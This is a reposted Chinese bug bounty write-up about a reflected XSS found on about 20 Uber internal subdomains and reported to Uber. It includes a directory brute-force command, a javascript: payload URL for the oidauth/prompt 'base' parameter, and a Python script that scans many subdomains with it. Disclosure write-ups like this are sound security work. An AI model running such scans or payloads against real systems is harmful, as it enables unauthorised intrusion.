我是如何發現影響約20個Uber子域的XSS漏洞的 嗨,你好!歡迎來看我寫的我的第一個漏洞賞金,我不是天天去做漏洞賞金任務,特別是網路漏洞賞金,但它最近開始引起我的興趣,所以我決定開始在Uber中尋找漏洞。 信息蒐集 我開始收集關於的Uber信息,我注意到它們的內部系統在某個域名範圍中(http://uberinternal.com的子域),所以我開始執行子域枚舉,為此,我使用了aquatone,它發現了許多域,並收集了一些域的截圖。需要注意的是,大多數內部域都重定向到http://uber.onelogin.com用於認證登錄。眾所周知,onelogin使用SAML身份驗證,這非常有趣,因為在實現SAML的應用程序中發現過大量驗證繞過漏洞,包括影響uber本身的一些漏洞。我的第一個方向就是尋找SAML身份繞過漏洞,信不信由你,我本來打算從uchat系統開始,但是很遺憾,有人比我先發現了漏洞,這不是我第一次因為時機不對而丟失漏洞,所以沒關係。讓我們繼續前進。 當您使用SAML登錄時,一個請求被發送到身份驗證服務,在我們的例子中是域名http://uber.onelogin.com,一旦成功登錄http://uber.onelogin.com,它將會返回一個響應給指定的任意http://uberinternal.com的子域名,我感興趣的正是從Onelogin返回的響應頁面。因此,讓我們看一下在調用需要身份驗證的頁面時發生的重定向,您可以在下面的圖像中看到,它向http://uber.onelogin.com傳遞了一個經過base64編碼的SAMLRequest參數。 要解碼返回參數的值,只需要一個在線工具,我們可以看到從http://uber.onelogin.com接收的響應中的鏈接。 此外,如果你想嘗試一下,burpsuite還有一個好的SAML插件,它也有一些很好的先進的特性來測試SAML。以上所述雖然很好,但是,我想做大量的目標測試,所以我創建了一個工具,收集一個URL列表,並返回URL對應的SAML,你可以在我的GITHUB帳戶找到工具SAMLExtractor。下一步是嘗試繞過那個SAML認證,但是我運氣不夠好,所以我決定做別的事情,我決定搜索一下oidauth/目錄,看看有沒有更有趣的文件,因為我通過下面的命令使用dirsearch。./dirsearch.py -u https://carbon-prototype.uberinternal.com:443/oidauth/ -ejson 漏洞 在執行目錄暴力破解之後,我找到了下面的頁面:https://carbon-prototype.uberinternal.com:443/oidauth/logout 這是一個註銷頁面,但為什麼它很有趣呢。因為很多開發人員在註銷頁面中實現重定向,有時您可以在其中找到XSS漏洞,因此我打開了上面的鏈接,它將我重定向到以下頁面 https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1 其中base參數是獲取一個URL,那麼用經典javascript:alert(123)替換它,好看看它是否可以觸發XSS?它通過單擊頁面中出現的鏈接來觸發,並且同時因為該頁面也容易受到點擊劫持的攻擊,所以這意味著您可以在攻擊中結合這兩個漏洞來利用(這在報告中詳細解釋)。 大規模利用 記住前面我告訴您我創建了一個工具,該工具可以獲取URL列表,然後返回回調(SAML)URL。我決定向該工具提供http://uberinternal.com的所有子域,看看是否還有其他域使用相同的庫。接下來,我創建了一個腳本,調用存在漏洞的頁面oidauth/prompt,嘗試XSS攻擊,如果攻擊生效,它就會給我一個存在漏洞的消息。import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) from colorama import init ,Fore, Back, Style init() with open("/home/fady/uberSAMLOIDAUTH") as urlList: for url in urlList: url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1" request = requests.get(url2, allow_redirects=True,verify=False) doesit = Fore.RED + "no" if ("Fady" in request.content): doesit = Fore.GREEN + "yes" print(Fore.WHITE + url2) print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit) 之後,我核實了存在漏洞的頁面,並將第一份報告發送到Uber,在第一份報告之後,我有發現了兩個以上易受攻擊的子域,又發送了一個單獨的報告。 來源:我是如何發現影響約20個Uber子域的XSS漏洞的|NOSEC安全訊息平臺 - NOSEC.ORG白帽匯從事信息安全,專註於安全大數據、企業威脅情報。公司產品:FOFA-網路空間安全搜索引擎、FOEYE-網路空間檢索系統、NOSEC-安全訊息平臺。為您提供:網路空間測繪、企業資產收集、企業威脅情報、應急響應服務。 推薦閱讀: 相關文章 {{#data}} {{title}} {{/data}}